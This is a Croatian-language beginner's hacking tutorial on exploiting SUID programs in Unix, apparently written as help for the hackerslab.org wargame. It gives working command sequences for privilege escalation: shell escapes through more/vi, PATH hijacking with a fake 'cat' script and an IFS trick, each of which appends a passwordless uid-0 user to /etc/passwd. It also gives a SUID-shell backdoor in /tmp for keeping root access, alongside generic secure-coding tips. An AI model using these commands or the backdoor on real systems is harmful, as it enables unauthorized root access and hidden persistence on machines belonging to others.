Sigurnosni problemi SUIDnih programa
by DownBload
downbload@phreakcore.org


Evo, konacno sam i ja odlucio napisati neki tekstic o hackingu. Ovaj tekst bi trebao koliko-toliko obraditi problem SUID programa. Namijenjen je pocetnicima(koji imaju osnovno znanje Unix-a), no to ne znaci da i "napredniji" hackeri ne mogu nauciti(ponoviti) nesto iz ovog teksta. Da bi razumjeli sadrzaj teksta potrebno je osnovno znanje Unix-a (naredbe). Pretpostavljam da znate osnovne naredbe Unix-a, da razumijete sta su to dozvole na Unix-u, da znate sta su to environment varijable, da znate sta je uid i gid.Ako nesto od navedenog neznate ili se ne sjecate, preporucam vam da to ponovite.
Pa pocnimo od pocetka (logicno,ne:-).

Uvod
U Unix-u svaki korisnik ima svoj id/uid (user id). Naravno uz uid ima jos i svoj gid (group id). Prema uid-u i gid-u se odredjuju prava (dozvole) na sistemu. Znaci ako neko ima isti uid ko i vi, on ima iste ovlasti na sistemu ko i vi. To isto vrijedi i za gid. Ako nekoliko korisnika ima isti gid, to znaci da su oni u istoj grupi(iste dozvole).
Sad se postavlja pitanje sta je to SUID? SUID je kratica od Set UID. To bi znacilo postavljanje(promjena) UID-a.
A cemu uopce sluzi taj SUID?
Zamislite da imate program koji treba ocitati neki fajl na sistemu, a vi nemate ovlasti za to. Inace svi procesi koje vi pokrenete pokrenuti su sa vasim dozvolama na sistemu. To znaci ako vi ne mozete procitati neki fajl na sistemu, nece ga moci ni program koji vi pokrenete. Ako taj program pokrene korisnik koji ima UID=0 (root) on ce moci citati sve na sistemu.
Programi tog tipa cesto zatrebaju i tu se koristi SUID. Znaci SUID omogucuje procesima(programima) koje mi pokrenemo privremene ovlasti na sistemu koje ima vlasnik tog programa.
To predstavlja veliki sigurnosni rizik, a pogotovo ako je vlasnik tog fajla(programa) root.

Sigurnosni problem - 1
Zamislite da na sistemu imate neku igru koja ima SUID bit sa root ovlastima na sebi. Pri ulasku u igru, igra ispisuje datoteku u kojoj pisu pravila igre. Igra to radi tako da "pozove" Unix-ovu naredbu more.
Sta je tu cudno? NISTA ?!!!!?? BAS NISTA???
Pa ipak ima nekih cudnih stvari :))). Naime hacker zna da je ta igra pokrenula more naredbu i on to moze iskoristiti. Kako? Pa vrlo lagalo. Za pocetak usredotocimo se na naredbu more. Ta naredba omogucava izvrsavanje naredbi u svom sub shell-u. To znaci da mozemo izvrsiti naredbu koju god zelimo sa ovlastima root-a. Znaci da mozemo napraviti sta god zelimo na sistemu.
Isto to bi mogli uciniti i da igra pozove tekstualni editor vi zato sto nam on takodjer omogucava izvrsavanje naredbi u sub shell-u. Ukratko, kad se pokrene naredba more mi samo upisemo shell naredbu koju zelimo izvrsiti i ona se izvrsi sa dozvolama koje ima vlasnik te igre.

Sigurnosni problem - 2
Recimo da se radi o istoj igri sa SUID bit-om ko i iz proslog poglavlja. Samo sto je programer igre uvidio sigurnosni problem i odlucio je datoteku sa pravilima igre ispisati naredbom cat. Sad izvorni igledata ovako system ("cat pravila_igre");. Ali postoji i rjesenje za to. Sad ce vam koristiti poznavanje environment varijabli.
Nas generalno zanima varijabla PATH. Varijabla PATH nam pokazuje na kojoj lokaciji se traze odredene naredbe (programi). To moze biti npr. /bin/,/usr/bin/ itd. Znaci kad mi u shell command promtu unesemo neku naredbu, ona se pokrece sa lokacije koja je navedena u varijablu PATH (osim ako ta naredba nije implementirana u shell). Ali stvar je u tome da mi mozemo PATH varijablu promijeniti. E sad, to znaci da mi mozemo promijeniti lokaciju na kojoj shell trazi odredenu naredbu. Sad mozemo npr. kreirati neku shell skriptu koja se zove cat i pokrece neke naredbe koje mi zelimo (npr. dodaje korisnika u /etc/passwd:-). Na kraju pokrenemo igru koja pokrene umjesto prave naredbe cat nasu skriptu i to je to. To bi izgledalo ovako:

korisnik$echo "echo hacker::0:0::/root:/bin/sh >> /etc/passwd" > /home/korisnik/cat
korisnik$chmod 755 ./cat
korisnik$pwd
/home/korisnik/
korisnik$export PATH=:/home/korisnik/
korisnik$/bin/igra
korisnik$su hacker
hacker#

To je to, imamo root account. Sad da malo objasnim sta smo radili u kojoj liniji. U prvoj liniji smo kreirali cat fajl u direktoriju /home/korisnik/. Taj fajl je ustvari mala shell skriptica koja dodaje korisnika sa uid=0 u /etc/passwd fajl. U drugoj liniji postavljamo dozvole na fajl - 755 (ako ne razumijete sta ovo znaci, onda procitajte u nekom unix tutorialu :). U sljedecoj liniji provjeravamo u kojem smo direktoriju (nepotrebno, ali se meni svidja). Dalje mijenjamo varijablu PATH u /home/korisnik/. Sad pokrecemo igru i igra nam dodaje jos jednog korisnika u /etc/passwd fajl. U zadnjoj liniji upisemo su hacker i postajemo taj korisnik (root :o).

Sigurnosni problem - 3
Programer igre postao je "security expert" :) pa je uvidio i taj sigurnosni propust u igri, pa je odlucio pokusati rijesiti i taj problem. Cak je i uspio, ali ne zadugo :-). Naime sta je napravio programer, on je u dio koda system ("cat pravila_igre"); dodao samo jos nekoliko znakova, tako da sad to izgleda ovako system ("/bin/cat /bin/pravila_igre"); . Sad bi mogli reci da nas je sjebao, ali mi se ne predajemo i pokusavamo rijesiti stvar sa IFS-om (environment varijablom).
Znaci to bi izgledalo otprilike ovako:

korisnik$echo "echo hacker::0:0::/root:/bin/sh >> /etc/passwd" > /home/korisnik/bin
korisnik$chmod 755 /home/korisnik/bin
korisnik$pwd
/home/korisnik/
korisnik$export IFS=/
korisnik$export PATH=:/home/korisnik/
korisnik$/bin/igra
korisnik$su hacker
hacker#

Evo, ovim trikom opet mozemo dodati user-a sa uid=0 u /etc/passwd. Sad cu vam to opet lijepo objasniti. U prvoj liniji kreiramo shell skriptu u /home/korisnik/, koja se zove bin. U drugoj liniji postavljamo dozvole na skriptu. U trecoj liniji provjeravamo trenutni direktorij (kako to volim :o). Sad dolazi ono sto nam omogucuje da ova fora uopce radi. To je IFS environment varijabla. IFS je kratica od Internal Field Separator. Pokusat cu vam to objasniti ovako: kad varijablu IFS postavimo na / (export IFS=/).
Tada Unix liniju system ("/bin/cat /bin/pravila_igre"); vidi ovako system (" bin cat bin pravila_igre"); . To nam omogucuje da opet zavaramo program (igru) i pokrenemo onu skriptu koju smo mi kreirali. Ali prije moramo jos promijeniti PATH varijablu, tako da shell trazi bin na krivom mjestu (i da pokrene nasu skriptu). To napravimo u petoj liniji. U sestoj se su-amo u usera hacker :))).

Zakjucak
Iz ovog bi i idiot zakljucio da pri pisanju takvog koda treba biti oprezan i "izbjegavati" pozivanje sistemskih naredbi. Ovi primjeri nisu jedini, ima ih jos puno, ali to su jedini koji su mi trenutno pali na pamet. Naravno, treba paziti i na probleme s buffer overflow-me, ali o tome u nekom drugom tekstu.

I za kraj...
Prije nego se rastanemo ("...ako se duso moramo rastati...") jos cu vam dati neke korisne stvarcice.

Find suid...
Ova naredba ce pronaci sve suid-ne fajlove na vasoj masini i zapisat ce njihov path u fajl /tmp/suid (tesko zakljuciti, ne :o))).
 find / -type f \( -perm -04000 -o -perm -02000 \) > /tmp/suid
Suid backdoor-ing
Znam da ovo nije tutorial o backdoor-ovima, ali nisam mogao odoljeti da to ne uvrstim u ovaj fajl. Evo vam jedan primjer koristenja SUID-a u backdooringu Unix-a.
Npr. Na nekom Unix-u na kojem vi imate account uspijete hacknuti root account. Tada zelite zadrzati root account sto duze. Tu se koriste backdoor-ovi. Ovo je jedan od najpoznatijih backdoor-ova. Morate biti root da bi ovo napravili.
root#cp /bin/sh /tmp/sh
root#chmod a+s /tmp/sh
Ovime ste kopirali /bin/sh (bourne shell) u direktorij /tmp/ i stavili SUIDni bit na kopirani shell. To znaci da cete svaki put kad pokrenete taj shell, bez obzira koje ovlasti imate dobiti root ovlasti na sistemu.

Za pocetnike...
Za sve newbie preporucam da se ukljuce u wargame www.hackerslab.org . To je ustvari server koji su postavili hackeri, a na kojem mozete hackati do mile volje, a ne trebate se bojati da ce vas neko tuziti ili loviti zbog toga. Napominjem, mozete hackati njega, a strogo se zabranjuje da se sa njega napadaju druga racunala. Pogledajte njihov sajt, registrirajte se i HAPPY HACKING.
Jos samo da dobacim, tehnikama koje su ovdje opisane mozete proci dva levela na hackerslab-u. Izvorno sam zato i napisao ovaj tutorial - da pomognem pocetnicima pri igranju hackerslab.org wargame-a\


Nekoliko savjeta za generalno povecanje sigurnosti (ne samo suid) - na engl. - neda mi se prevoditi
Avoid routines that fail to check buffer boundaries when manipulating strings, particularly gets(), strcpy(), and strcat()
Never use system() and popen() system calls
Do not create files in world-writable directories
Generally, don't create setuid or setgid shell scripts
Don't make assumptions about port numbers, use getservbyname() instead
Don't assume connections from low-numbered ports are legitimate or trustworthy
Don't assume the source IP address is legitimate
Don't require clear-text authentication information
Test the software using the same methods that crackers do:
Try to overflow every buffer in the package
Try to abuse command line options
Try to create every race condition conceivable
Have someone besides the designer and implementor review and test the code

Molim sve one koji su procitali ovaj "tutorial" da mi posalju mail na adresu downbload@phreakcore.org i neka malo prokomentiraju ovaj "tutorial".A ko vam se ovo svidjelo, onda mi napisite o cemu bi jos zeljeli vidjeti "tutoriale"
Pozdrav, DownBload.